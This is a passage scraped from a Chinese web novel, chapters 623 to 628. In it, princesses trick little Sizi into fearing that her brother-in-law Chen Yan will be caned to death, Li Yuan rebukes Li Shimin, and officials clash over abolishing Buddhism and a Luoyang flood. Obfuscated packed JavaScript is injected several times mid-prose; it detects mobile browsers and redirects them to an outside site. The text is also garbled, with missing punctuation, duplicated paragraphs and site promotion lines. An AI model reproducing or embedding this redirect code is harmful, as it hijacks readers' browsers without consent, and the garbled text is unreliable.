“他开口谁都无法忽视我们可做不到。” 韩仲良听到这里 然后他压低声音试探性地说:“要不你们俩回家问问你们家中那两位?” “今日我看他们好像对此是支持的。” “这个不用说。”杜构摇摇头“对于这种事他们看得肯定会比我们明白。” “如果要在子安兄之后站出来自然不用我们去说他们自己便会做。” “倘若他们不愿意我们再怎么说都没用。” “而且以我对他们的了解虽然他们昨天公然表态了但不见得能在明天站出来大概只是在背后支持我们。” “所以指望他们肯定是指望不上的。” “这样啊”韩仲良有些失望不过想想杜构的话却也觉得有道理。 “那怎么办?” 一句话又把杜构三人问住了。 廨署厅堂内顿时陷入了寂静谁都没有再开口。 过去了不知多久杜构似是想到了什么抬头看着一脸期待的韩仲良: “韩大人我看你好像很合适啊?” 韩仲良:??? 房遗直与马周闻言眼睛顿时大亮。 “是极!是极!韩大人我也觉得你合适。” “老韩啊.以你的资历好像确实没问题啊!” 韩仲良:“.” “.” 第623章 高阳:兕子啊,你阿兄要** “阿姐,阿兄真的要被打板子了嘛?是在哪里打的呀,我能不能去看看?” 李丽质回到家里,小兕子便迫不及待地跑过来,兴奋地问道。 看陈衍吃亏啊! 这种事可不多见,必须得去瞅瞅怎么个事。 李丽质:“.” 她秀眉倒竖,伸着手指没好气地给了小兕子一个脑瓜崩:“你还有没有良心?” “你阿兄对你多好啊?什么事都依着你,尽心尽力给你治病、陪你玩、教导你知识,你就是这样回报你阿兄的?” 兕子捂着脑袋,委屈巴巴道:“可阿耶又不会真的打阿兄,你别拿我当三岁小孩了,我都懂的。” “既然不是真打,让我看看热闹还不行吗?” 李丽质瞪道:“万一呢?万一阿耶真的要打你阿兄呢?你知道我们去找阿耶的时候发生了什么吗?” “阿耶都不见我们,连阿娘都不见我们。” “他们生气了!知道不?” 兕子听后眨巴了一下大眼睛,小脑袋瓜一时有些没转过弯来。 等反应过来之后,她有些怀疑道:“不能吧,阿兄虽然皮了点,爱惹阿耶生气、有时候连母后都气得牙痒痒,还总喜欢怼天怼地怼空气,但阿耶不至于打死阿兄吧?” “我可是听说了,四十大板,可以把人屁股打开花呢。” 一旁,高阳听到这话,认真道:“关于这点,我必须好好跟你说道说道了。” “你以为的打板子可没有那么简单,不跟你阿兄一样打你手板。” “你看程咬金他们那么大个体格子,身强体壮的,挨了十大板子就在床上趴了那么久。” “你阿兄那么虚,要是挨上四十大板,你就得下辈子才能见到他了。” “.” 兕子瞪大了双眼,愣了好久。 想起陈衍的样子,小嘴一瘪,眼泪哗啦就落了下来:“那那我不看了,我.我去找阿耶,让他不要打阿兄了,我不要阿兄屁股开花,不要阿兄死。” “呜呜,阿兄那么好,为什么阿耶要打他呀。” 高阳故作叹息:“没用啊,小兕子,你想想看,我跟你阿姐都去了,连阿耶的面都没见到,你阿耶铁了心要打死你阿兄。” “还有程咬金和尉迟恭在使劲拱火.兕子啊,你说我跟你阿姐以后该怎么办呐?” “小岁安还这么小,就要没了父亲,我跟你阿姐都没了夫君,更重要的是你阿兄以前总觉得自己年轻,不想过早要太多孩子,现在家里就小岁安一个人姓陈,关键他还是个女孩子,今后终究是要嫁人了。” “你阿兄家的香火都断了呀。” “而且,等我们老了,家里没有个男人,人人都来欺负我们怎么办?” “就跟那个郑观音一样,不是到处受欺负吗?” 李丽质见高阳一本正经地忽悠小兕子,嘴角止不住地抽动。 看得出来,她真的在很尽力憋着笑了。 兕子听完高阳的话,顿时更委屈了。 她只是想看看热闹,没想到这个热闹这么严重,要她阿兄的命啊。 她伸着小手,不断抹着眼泪:“那怎么办呀?我不想要阿兄死。” “阿兄还说等我以后出嫁了,他背我出门呢,做我一辈子的靠山,免得我受欺负,我还想阿兄教我读书识字,想阿兄陪我玩.” “阿姐,我们怎么办呀呜呜~” 高阳摇头,面露愁苦:“事到如今,我们又能有什么办法呢?” “兕子啊,我们虽然是公主,听起来身份尊贵,但终究是女子,我们管不到他们朝堂之上的事。” “今天我们去见你阿兄,你知道你阿兄怎么跟我们说的吗?” 兕子抽泣道:“怎么说的呀?” “你阿兄让我跟你阿姐别打听了,等过两天就收拾东西,回渭南 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“如果那一刻有花瓣坠落在肩上,或有微风吹起你的发丝,那一定是阿兄听到了你的委屈。” “别担心刚种下的小桃树长不出桃花,因为它会长大,终有一天长出盛开的桃花。” “花会盛开,我们的小公主也是.” “兕子啊这是最好的祝福,只送给你哟~” “哇~”兕子听到这些,幼小的心理防线彻底崩溃了,与此同时崩溃的还有脆弱的情绪。 她大声哭诉着:“阿耶坏!阿娘也坏!程咬金更坏!” “不许打我阿兄,我不要阿兄死,我要阿兄回来!我才不要四皇兄代替阿兄背我出嫁,我就想要阿兄。” “我不看了,我不读了,我想阿兄教我,呜呜,你们把阿兄还给我好不好?” “我想他了.” “.” 第624章 李渊:你还解释个屁 “皇爷爷!我要找皇爷爷!” 小兕子大声哭着,迈着小短腿一路往回跑,死命拽着两个侍女,让她们带自己去找李渊。 高阳微微诧异。 这怎么才忽悠两下子,就变成这样了? 她自己都还没说让兕子去找李渊,这小家伙自己就想到了? “殿下,这.” 兕子两个侍女苦着脸,不知道该怎么办了。 高阳微微颔首,示意她们可以带过去。 两名侍女见状顿时放心了,一个抱着兕子轻声安慰,一个赶紧去安排马车了。 等她们一离开,李丽质幽幽道:“妹妹,咱们这样忽悠小兕子,等以后她知道了真相,又传我们八卦怎么办?” “她敢?”高阳哼哼道:“屁大点个人,我借她十个胆子看看?” “还敢传我的八卦,我揍不死她。” 李丽质:“那如果,我们老了呢?” 高阳:“.” 她被这句话噎了一下,神色略微有些不太自然,“那还得好几十年呢,担心那么远的事做什么?” “更何况,现在的兕子年纪小,不懂事,等以后长大了,明事理了,难不成还真敢对年迈的我们动手啊?” 李丽质不置可否:“这个我可说不好,反正我觉得兕子是越来越像夫君了,而夫君是个小心眼的,最是讲究君子报仇,从早到晚。” “如果敌方太强势,待到三十年河东,三十年河西也未尝不可。” 高阳:“.” “还有啊,你明知道皇爷爷最是喜爱兕子,你这样忽悠小家伙,她跑去皇爷爷那里一哭,阿耶阿娘、乃至程咬金他们不都跟着遭殃吗?” “那咋了?” 高阳微微扬了扬下巴,“他们把我夫君关进大理寺狱那种地方,还说要打我夫君板子,关键我们去找他们,他们还不见。” “既然他们不想让我夫君好,那我能让他们好吗?” “我倒要看看,他们不见我们,皇爷爷去了, 他们是不是也拒之门外。” 李丽质:“.” 高阳这番操作,属实是给她开了眼了。 这还真是嫁出去的姑娘泼出去的水,一心想着自家夫君啊。 连李世民和长孙皇后都这样坑。 一想到刚刚兕子的样子,再想想李渊对兕子的宠爱.李丽质顿时打了个激灵。 希望父皇母后没事吧。 “.” 此时,李世民和长孙皇后丝毫没有意识到即将发生什么。 他们此时正坐在甘露殿,讨论着陈衍提出来的赌局。 李世民呵呵笑道:“观音婢,你输定了,这小子憋着坏呢。” “建立十年以上的寺庙,且香火不错的.呵呵,就这么跟你说吧。” “子安的十多万亩听起来很多,但大唐才刚开国,土地兼并的问题才冒头,大唐多的是地。” “在各种制度下,一个成年百姓就能分到一百亩地,这些百姓,把自家的地挂在寺庙名下,便能免去赋税。” “你想想,只要有多少个百姓这样做,就能超过子安家拥有的田地?” 长孙皇后含笑道:“所以,二郎你也是支持子安反佛的?” “当然。”李世民感叹道:“寺庙对于大唐来说,确实是一个相当巨大的毒瘤,子安身为户部尚书,面对大规模影响国库收入的寺庙,自然是无法容忍的。” “朕当然也不能容忍!” “观音婢,经过这一遭,想必你已经明白了很多问题。” 李世民轻声道:“子安之所以喊出灭佛,是要给大家一个迂回的余地,灭佛肯定是不可取,因为这个真的可能会导致**产生,但反佛,就不一样了。” “观音婢啊,朕知道你信佛,但你也不要怪子安。你难道没有发现,子安自从坐上户部尚书这个位置之后,在很多方面都有很大的改变吗?” “其实子安没变过,变的只是他所站的位置。” “当他站在那个位置,很多事情,不是说他不想做就能不做的。” “你得理解子安理解我们啊。” 长孙皇后轻轻摇了摇头:“二郎你言重了臣妾从来没有怪过子安更没有怪过你们。” “臣妾知道你们有大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“解释?你还解释个屁你看看朕的孙女眼睛都哭肿了!” “这就是你干的好事!” 李世民:??? “.” 第625章 哭闹的孩、生气的爷、头疼的娘以及无能的爹 “皇爷爷,阿耶坏!阿娘也坏,他们要打死我阿兄,我不要阿兄死,你帮我骂他们!” 兕子一看到李世民和长孙皇后,指着他们便跟李渊哭诉着告状。 高阳那一番话对她的杀伤力实在太大,她直到现在都还没缓过神,眼泪哗哗地往下流。 “好好好,乖孙女,不哭,不哭昂。”李渊伸着手替兕子擦了擦眼泪,然后怒视着李世民:“你还有什么好说的?” “朕的孙女婿,堂堂渭国公、户部尚书,你说给关进大理寺就关进大理寺了?” “还要杖刑四十,铁打的汉子都扛不住啊,你这不是奔着要朕几个孙女的命去吗?” “父皇.”李世民那叫一个牙疼,急忙解释道:“这件事说来复杂,儿臣即便再怎么样,也不会真要子安的命啊。” “就像您说的,您能答应,儿臣几个儿女能答应吗?观音婢能答应吗?” “这是个误会,兕子还小,不懂事,您听我仔细解释.” “才不是误会!”兕子红着眼睛,大声嚷嚷着:“阿兄都说啦,以后他不在了,让我好好照顾自己,希望我健康快乐地长大。” “以后也不能背着我出嫁了,让四皇兄代替他背我!” “哇!” 说着说着,兕子越哭越大声:“阿兄还说.还说” “哎呦,别哭,别哭哈。”李渊心疼坏了,赶忙抱着兕子坐下来,轻轻拍着她的背哄着,“你阿兄还说什么了?” “阿兄还说,在渭南县给我留了一处庄园,里面种满了他亲手栽下的桃树,等我长大了,桃树也长大了。” “如果遇到难过的事,便去渭南县,对着桃林最中间的桃树大声说出来,若是.若是此时有花瓣掉落在我肩膀上,或有微风吹起我的发丝,那一定是阿兄听到了我的话” “哇~呜呜呜呜,皇爷爷,我不要阿兄死,他们都坏,兕子再也不喜欢他们了。” “皇爷爷,你带兕子回渭南县好不好,我不想留在长安了,我要住在阿兄给我留下的庄园里,看着桃树一天天长大,让阿兄也看着 兕子一天天长大。” 听到这些话,李世民和长孙皇后脸都绿了。 这** 好大一口黑锅啊! 狗屁的花瓣掉落、微风吹过。 陈衍! 你是个狠人啊! 你特么这样玩是吧? 李渊也黑了脸,听着孙女的话,心都要碎了。 “李二!!!” 他强忍着怒气:“你不是要解释吗?现在朕给你一个解释的机会,你跟朕好好说说,兕子的话是不是真的?” “如果是,你直接把我们都杖刑四十得了,承乾、青雀、丽质、昭棠、城阳、兕子!我们都下去,这样省得以后再碍你的眼,你就清净了!!” 无舌听到这句话,悄悄地往后退了几步。 如今这个场景,自己还是离远点吧。 哭闹的孩、生气的爷、头疼的娘以及无能的爹。 这找谁说理去? “父皇啊,真不是您想的那样的啊。”李世民都被逼急了,欲哭无泪道:“子安.子安那小子什么德行您还不清楚吗?” “他就是个巨坑啊!” “那小子嘴里没一句实话,还整天使着坏,他这是借兕子和您的手,想把儿臣往死里整呢。” “儿臣怎么可能杀他嘛!?” “根本不可能啊!” “父皇,对于此事,臣妾认为有必要好好解释一下,您先别生气。”长孙皇后看不下去了,站出来说:“臣妾刚去了大理寺狱探望了子安,他.” 说到这里,长孙皇后都气得牙痒痒:“那小子还吃着烧鸡呢,整个人要多自在有多自在。” “而且此事说来话长,绝对不是兕子口中说的那样,什么要对他杖刑四十。” 对于长孙无垢这个儿媳妇,李渊还是很信任的,听到她的话,逐渐冷静了下来。 “好,观音婢,你来说,到底怎么回事?” “为什么前一天还好好的,今天就闹成了这样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229042|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是这样的.” 长孙皇后不敢耽误将一切的前因后果都跟李渊说得清清楚楚包括陈衍带头跟众多官员互殴致使朝堂混乱以及坚定的要灭佛。 “父皇臣妾跟二郎绝对没有要杀子安的意思只是子安这次属实做得有些过分带着整个户部在太极宫内跟人打了起来牵连了众多官员。” “萧瑀萧瑀脑门都被他砸出了两个大包眼睛都是青黑的呢。” 李世民在一旁疯狂点头:“对对对就是这样的父皇这小子有点无法无天了儿臣能不给他点小教训吗?” “今天的事要是传出去 听到这里李渊也逐渐明白了过来。 看了看怀中的兕子又瞥了李世民一眼哪里还能看不出里面的弯弯道道。 只不过这还算好事李渊不想管心里只剩下了一个疑问:“那杖刑四十是怎么回事?” 李世民额头青筋绷起:“还不是程咬金和尉迟恭两个混货非要儿臣打子安四十大板儿臣也没同意啊。” 李渊想起了陈衍当上户部侍郎第一次上朝之后干的事扯了扯嘴角懒得说这些人了。 他低头轻声哄道:“乖孙女你听到没有?你阿耶没有想打死你阿兄别哭了哈。” “等过几天你阿兄就回来了。” “.” 兕子抽了抽鼻子也听懂了事情经过。 虽然对里面的门道不懂起码知道了陈衍绝对不会死。 她瘪着嘴:“皇爷爷我是不是又被阿兄给忽悠了?他明明知道自己不会死为什么还要跟我说这些话?” “.这.皇爷爷不知道等你阿兄回来你自己去问问他哈。” 李渊忍俊不禁道。 “兕子你阿兄整天就知道忽悠人你少信他的话。”长孙皇后忍不住说。 她都无语了好端端的给他们整这一出。 兕子沉默了一会儿忽然说:“要不你们还是打他四十大板吧我觉得这个阿兄好像也没那么好了。” “就会忽悠我。” 众人:“.” “.” 第626章 攻击力拉满 等李渊带着兕子离开,李世民的脸彻底黑了下来。 跟长孙皇后对视一眼,两人相顾无言。 半晌,李世民气道:“这臭小子,又特么摆了朕一道!” “程咬金不是想打他四十大板吗?彼其娘的,朕非得想个办法给这件事落实下去不可!” 长孙皇后无奈抚额:“二郎啊,算了吧,现在正值反佛一事的开端,洛阳还有严重的水患。” “你要是真打他四十大板,今天来闹的就不是兕子一个人了.省省吧,先把这些事解决了,等臣妾以后慢慢折腾他!” 李世民脸色黢黑,挥挥手:“去去去,把克明他们都给朕叫过来再去把马周叫过来。” “这一天天的,洛阳的水患也不管,灭灭灭,朕灭你大爷!” “奴婢这就去。”无舌默默地退下了。 长孙皇后叹了口气:“二郎,臣妾先走了,你先忙吧。” “.” 翌日,朝会。 百官照例行礼,李世民面无表情坐在上方,无舌按例宣布有事启奏,无事退朝。 此刻,文武百官的表情皆颇为微妙。 因为昨天一事,今天的朝会本应该注定不会平静,但身为最大的灭佛头子的陈衍,现在已经住进了大理寺狱。 今天到底是什么情况,还不得而知。 另外让所有人都没想到的是,萧瑀头顶着两个大包,一只眼睛青黑,竟然还跑过来上朝了。 “陛下,臣有事要奏!” 韩仲良满脸无所谓地站出来,作揖道。 李世民满头黑线:“韩侍郎又何事要奏?” “臣要奏的,不是其他事,正是昨天关于灭佛一事。”韩仲良已经彻底豁出去了。 “此前,尚书大人还没进去之前,曾命臣派人去调查一下长安城周边的寺庙具体情况,因为时间紧迫,昨日的调查结果还没出来,而臣今日已经拿到了。” 说着,韩仲良从袖中摸出一本奏折,双手捧着,恭敬道:“陛下,上面记 录了长安城有名的几个寺庙的情况,以及有多少田地挂在了他们名下。 “还有他们放出**坑害百姓的具体流程、经过。 “臣依旧坚持自己的意见,如今的寺庙,绝对不能继续留了,它们的存在,已经严重威胁了社稷安稳、国库收入,以及天下苍生。 “放**狗屁. “你才放屁! 萧瑀正要开喷,他今天顶着众人的嘲笑来上朝,自然是为了应对这些反佛之人,只是没想到话才说一半,便被杜构给打断了。 只见他从怀里掏出了一块印着一个大大‘理’字的板砖,冷声道:“调查结果都已经出来了,你还固执己见,亏你他娘好意思穿上这身官袍。 “韩侍郎哪里说得不对?寺庙难道没有严重影响国库收入?寺庙难道没有放出高额的贷款,让百姓越欠越多?寺庙难道没有危害天下苍生? “萧瑀!做人做事,得对得起自己的良心! “亏你还是自称读书人,你的圣贤书都读到狗肚子里面去了吗?证据摆在眼前,你甚至都没看一下就反驳了起来。 “怎么?你还想尝尝陈尚书留下的‘理’是什么滋味? 杜如晦揣着手,微微低了低头,眼里笑意弥漫。 这才是我杜如晦的儿子嘛! 萧瑀又能如何?怼就完了! “道理!我们已经讲累了!马周认真盯着萧瑀,“如果萧大人执迷不悟,下官不介意效仿陈尚书! “昨日陈尚书下手轻了,让你还能顶着这副面孔来上朝,但下官跟陈尚书不一样,保证在不打死您的前提下,让您明天上不了朝。 “届时,即便下官也进了大理寺狱,那还有韩侍郎,傅大人等一众官员支持灭佛。 “萧大人下官劝您三思啊。 此话一出,不少人的眼睛顿时亮了。 好啊! 本以为今天陈衍进去了,萧瑀要占上风了。 没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229043|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到户部的人竟然这么给力,而且一个比一个硬,不愧是陈衍 从渭南县就一直带着的手下了。 真没给陈衍丢份! “不可理喻。萧瑀冷哼,挥袖道,“陛下,灭佛一事,绝对不可取。 “臣不是因为臣的信仰才反对灭佛,而是这些人已经被陈衍给蛊惑住了。 “倘若灭佛,那么众多佛门子弟该何去何从?难不成都杀了吗? “臣认为,大可不必如此激烈,不如下令禁止寺庙继续放贷,禁止它们收取百姓的土地。 “如此一来,一切的问题就都解决了,寺庙影响不到国库收入、兼并不了百姓土地、影响不到天下苍生。 “更不用担心佛门子弟的去处,以及事后对他们的安排,何乐不为呢? “你看看,你看看!韩仲良毫不留情发出了嘲笑,指着萧瑀的鼻子看向众多大臣,“看看我们的萧大人是多么的幼稚。 “禁止? “你拿什么禁止?拿你脑子里装的那一坨史吗? “如果禁止有用的话,为什么大唐还有那么多人犯罪?为什么还有那么多人触犯律法?为什么从大秦以来,从未有人解决过土地兼并的问题? “可笑! “就寺庙那些跟你一样道貌岸然的东西,你认为光是禁止就能有用? “萧瑀!别说什么不是因为自己的信仰,你直到现在还想包庇这些该死的秃驴。 “放这些狗屁,你不妨问问大家,有人信你吗? “萧大人,我真的很想问问你,当初你爹娘在世的时候,你有这么维护过他们吗? “你你.萧瑀指着韩仲良,手指止不住地颤抖。 前面的他都能接受,但最后一句话,实在骂得太狠了。 望着众多文武百官的压抑的笑声,萧瑀只觉得气血翻涌,眼前逐渐模糊了起来。 “噗! 一口鲜血从他口中喷出,萧瑀踉跄地倒在地上,晕**过去。 “. 第627章 户部:我暂代捏麻呢! “萧大人,萧大人!” 他这一下子,着实吓坏了不少人。 连李世民都被吓了一跳,实在没想到萧瑀竟然被韩仲良给气吐血了。 在这太极殿内,如果萧瑀有个什么事,闹出来大家都不好看。 “传太医令,快传太医令!” 李世民赶紧喊道,朝堂上顿时乱作了一团,不少跟萧瑀关系好的连忙上去查探他的情况,而更多的人却是在幸灾乐祸。 特别是那些想反佛的,此刻心情那叫一个舒畅啊。 贞观初的时候,就是这老菜梆子跳出来反对,如果不是因为他,说不定当时就已经反佛了,何必等到现在? 如今好了,昨天被陈衍一顿暴打,今天又被韩仲良指着鼻子骂,给气吐血了都。 以后看你还敢不敢来上朝,敢不敢维护寺庙。 马周很是意外,压低声音道:“老韩,你可以啊,攻击力这么强,大人都没把这姓萧的给气吐血,你做到了。” “大人知道以后,想必一定会很欣慰的。” 韩仲良:“.” 头儿知道会不会欣慰,他反正是不知道了。 不过现在的他确实有点慌。 因为萧瑀本来年纪就不小了,万一被他这一气.直接有个三长两短可咋办呐? 如果是这样的话,那么他韩仲良今后可能都要顶着当朝气死朝廷命官的名头了。 不过事已至此,韩仲良也不后悔,反正做都做了,骂也骂完了。 爱咋咋地吧。 正在朝堂混乱的时候,杜构似乎察觉他的担忧,小声道:“韩侍郎,你别担心,咱们背后有尚书大人呢,天塌下来还有他们那些狠角色顶着,咱们不用慌。” 听到这话,韩仲良眼睛一亮,重重点点头,更不慌了。 这句话的意思已经很明显了,就是让他不要慌,出了事一切有陈衍顶着,要不然还有杜如晦他们顶着。 咱们只管按照吩咐办事就好了。 不一会儿,萧瑀 被太医抬了下去,李世民无语地看了一眼韩仲良,挥挥手道:“灭佛一事.择日再议,如今摆在我大唐面前的,并不是寺庙。” “而是洛阳的水患!” 提起此事,李世民眼里满是冰冷,拿出一封奏折丢了下去:“洛阳在一个多月前,就已经出现了水患,当地粮食价格大幅度上升,而朕自始至终都没有收到任何一点消息!” “直到昨日晚上,才有洛阳出现水患的奏折递上来!” “朕很不明白,洛阳距离长安,说远不远,说近不近,传递消息,顶多需要半个月时间。” “为何从洛阳水患出现一个多月之后,朕才收到消息?” “.这。”许多官员听到此事,略显惊讶。 洛阳出现水患,这是他们不知道的。 孙伏伽捡起被李世民扔下来的奏折看了看,皱眉道:“会不会是因为洛阳水患起初并不严重,没有受到当地官府重视,而等到洛阳水患严重之后,他们才意识到问题的严重,这才上报上来?” 不少官员听到这句话,忍不住点头附和。 确实有这种可能出现,毕竟历史上这种事情并不少发生,不是谁都能精准预测到明天会怎么样的。 另外,洛阳因为特殊的地理位置,大雪融化之后,水势上涨不高的话,官府很可能忽略掉。 因为洛阳每年冬天都这样。 “那么还有大雨呢?这又该怎么解释?”李世民冷冷道:“冬天过去,大雪融化,洛阳周边的河流水位上涨很正常,但不正常的是,洛阳明明早就出现了大雨。” “冬天过后加上连绵不绝的大雨,贞观四年的洪灾还历历在目,洛阳的官员是吃干饭的吗?” “遇到这种情况,竟然连一封奏折都不递上来。” “直到许多百姓流离失所,问题愈发严重,这才递上了奏折!” “朕要他们有何用?” 孙伏伽说不出话了。 大雪融化,加上大雨不绝,洛阳的官员竟然还不上报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229044|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这无论如何都说不过去。 李 世民背着手走下来:“更可气的是比这封奏折先到的是洛阳的灾民!” “在前天的时候洛阳已经有逃难而来的百姓抵达了渭南县今日已经到达了长安。” “朕直到晚上才收到奏折呵呵你们说问题到底出在了哪里?” “陛下。”杜如晦站出来道:“既然事情已经发生当务之急并不是追究谁的问题而是应该先解决洛阳的水患。” “洛阳因特殊的位置如果大雨依然不停歇现在的水患很有可能变成洪灾届时很可能又是一封八百里加急。” “臣恳请陛下先行筹备赈灾粮尽快派遣人带着物资前往赈灾这才是最要紧的。” 提起这件事所有人的目光都看向了户部。 要说出赈灾粮那当然得依靠户部啊。 “你们看我们做什么?”马周揣着手道:“我们尚书大人都被抓进大理寺狱了陛下没有撤尚书大人的职那他就还是户部的尚书。” “涉及到赈灾这种大规模的物资调动每一道流程都必不可少现如今少了尚书大人的点头我们哪里敢调动物资?” 提起陈衍李世民又想起了昨天被兕子和李渊一顿折腾 “不能因为陈衍一人而耽误了赈灾朕给予你们手令即刻调动户部能调动的物资准备好赈灾粮。” 马周有些失望他本来还想趁此机会赶紧把陈衍捞出来然后大家继续灭佛呢。 “陛下英明。”孙伏伽附和道:“户部尚书一职事关重大不可马虎现在原本的陈尚书既然被关进了大理寺狱无力处理公务。” “不妨先由一位宰相暂代如此一来各方面都说得过去毕竟从前户部尚书一职很多时候都由宰相兼任。” “先把当前的难关渡过去.其他的事再说吧。” 一听这话户部的人不干了。 尼玛的! 老子还想着捞咱们的头儿出来你现在要把咱的头儿撸下去? 我暂代捏麻呢? “.” 第628章 孙伏伽:你为什么不早说? “我反对! 小说的域名caixs**(请来才 小说 看最新章节 完整章节) 马周当即站了出来,杜构等人纷纷出言反对。 韩仲良更是直接道:“如今灭佛一事诸多官员争吵不休,洛阳水患愈发严重、粮价大规模上涨,诸位宰相想必政务繁忙,不应再劳烦诸位宰相了。 孙伏伽听完人都傻了,不可思议地看向户部众人。 不是? 你们知道你们在说什么吗? 陈衍是什么情况,满朝文武谁不知道? 那特么不就进去住几天,过两天又活蹦乱跳地出来了吗? 出来之后,不依然是户部尚书吗? 我又没说举荐谁来顶替户部尚书一职,我只是说让几位宰相暂代。 这在唐朝难道不是很常见的事吗? 再说了,论几位宰相跟陈衍的关系,还需要多说吗? 谁能彻底顶替陈衍的位置啊。 **,这种话你说出来。 你想干什么? 你们不是在给陈衍惹事吗? 怎么滴,你们户部是要独立出来了?连其他官员的建议、陛下的命令都听不进去了? 还不劳烦诸位宰相,你们他喵的是陈衍培养出来的死士吗? 果不其然,李世民听到这话,脸也黑了一分,不过他没跟韩仲良一般见识,知道这货今天脑子有点不正常。 所以把这笔账给记在了陈衍头上。 “你们为什么要反对?孙伏伽满脑袋问号,“如今洛阳出现水患,户部尚书被关进了大理寺狱,户部总要有个能做主的人吧? “由几位宰相暂代,这不管从哪方面来说都符合规矩和当下的情况吧? 马周振振有词道:“事实上,尚书大人走之前,已经知晓了洛阳水患,初步拟定了户部需要拿出来的物资。 “只要几位宰相与陛下拍板下来,就可以调动物资前往洛阳赈灾了。 “另外,私下里,尚书大人也早早安排钱庄带着大量物资前往洛阳,赈灾的同时,控制当地粮价。 “韩大人刚刚的话其实没说完,因为陈尚书已经做好了一切准备,只需要诸位宰相、陛下点个头就可以随时安排下去了。 孙伏伽:“. “.陈衍,是怎么知道洛阳水患的?要知道,他昨天被关进去,陛下是昨天晚上才收到的消息啊。 马周沉声道:“你难道忘了陛下说的?洛阳已经有逃难而来的百姓先行抵达了渭南县,你别忘了尚书大人从前是做什么的。 “既然如此,那你为什么不早说? “你也没问我啊。 孙伏伽:“. “行行行,此事先不提,既然户部已经初步拟定了赈灾物资,那么现在就来讨论一下谁去赈灾吧。李世民揉了揉眉心,实在不想揪着这个话题了。 只想赶紧把去洛阳赈灾的人选出来,然后把这件事尽快解决咯。 毕竟,连袁天罡和李淳风两人,都在昨天见完陈衍之后带着人赶往洛阳了。 “诸位爱卿可有合适的人选举荐? 魏征毫不犹豫道:“陛下,臣认为,右卫大将军柴绍可为赈灾的最好人选。 本来事不关己的柴绍听到这话,豁然抬起头。 不是?还来? 李世民一怔,点点头:“你说说原因。 “首先当然是因为柴将军自身的身份如果由他前去赈灾,足以展现陛下对洛阳民众的重视。 魏征缓缓道:“其次,贞观四年的时候,处理洪灾便是由柴将军前往,对于类似的事情,柴将军拥有足够的经验。 “贞观四年的洪灾,柴将军不是处理得很好吗?尽管因为洪灾势大,造成了不少财产损失,但这是无法避免的东西。 “在柴将军的努力下,当时的黄河中下游百姓并未遭受到性命之危,而且灾后对灾民的处理也堪称赈灾典范。 “所以,臣认为朝中没有任何人比柴将军更适合此事了。 “好!李世民当即拍板:“柴将军,魏征举荐你前去赈灾,你可有异议? “臣……” 柴绍张了张嘴想说点什么但看着李世民那不容置疑的眼神最终还是把话咽了回去躬身道: “臣遵旨。” 他心里苦啊。 贞观四年那场洪灾他差点没累死在黄河边上。 天天泡在泥水里跟灾民抢时间跟洪水赛跑好不容易才把局面稳住。 回来之后在床上躺了三天才缓过劲来。 现在又来? 但他也明白魏征说得没错。 这种事朝中确实没人比他更熟悉了。 换了别人去万一出了岔子洛阳那边几十万百姓可等不起。 “柴将军。” 就在这时马周突然开口走上前来从袖中取出一份厚厚的文书“这是尚书大人临走前留下的赈灾方略里面详细列出了物资调拨的批次、运输路线、灾民安置的步骤还有与钱庄配合平抑粮价的具体办法。” “您带着这个到了洛阳也好有个参照。” 柴绍接过文书粗略翻看了一下眼中闪过一丝惊讶。 这哪里是什么初步拟定? 从灾民安置点的选址到每日粥厂用粮的精确计算从防止瘟疫的药材储备到以工代赈的具体工种安排。 事无巨细条理分明! 甚至连可能出现的问题和应对之策都写得清清楚楚。 “这这都是陈尚书提前写好的?” “是。”马周点头“尚书大人说过户部的事不能等圣旨到了才开始准备该想到的得提前想到。” 柴绍沉默片刻心里真真切切涌现了对陈衍的敬佩。 这个年轻人.实在了不得啊。 如果他没记错的话贞观四年的时候就是他提前察觉了黄河要出现洪灾所以才有了他带领一万大军提前做足了准备。 也是他用计在没有钱赈灾的情况下硬生生从世家手中掏出了大量的钱财凑齐了赈灾需要用到的物资 如今又在收到消息不过区区一两天的情况下又拿出了这么详细的赈灾方案 怎能不令人敬佩呢? “.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “臣……” 柴绍张了张嘴,想说点什么,但看着李世民那不容置疑的眼神,最终还是把话咽了回去,躬身道: “臣遵旨。” 他心里苦啊。 贞观四年那场洪灾,他差点没累死在黄河边上。 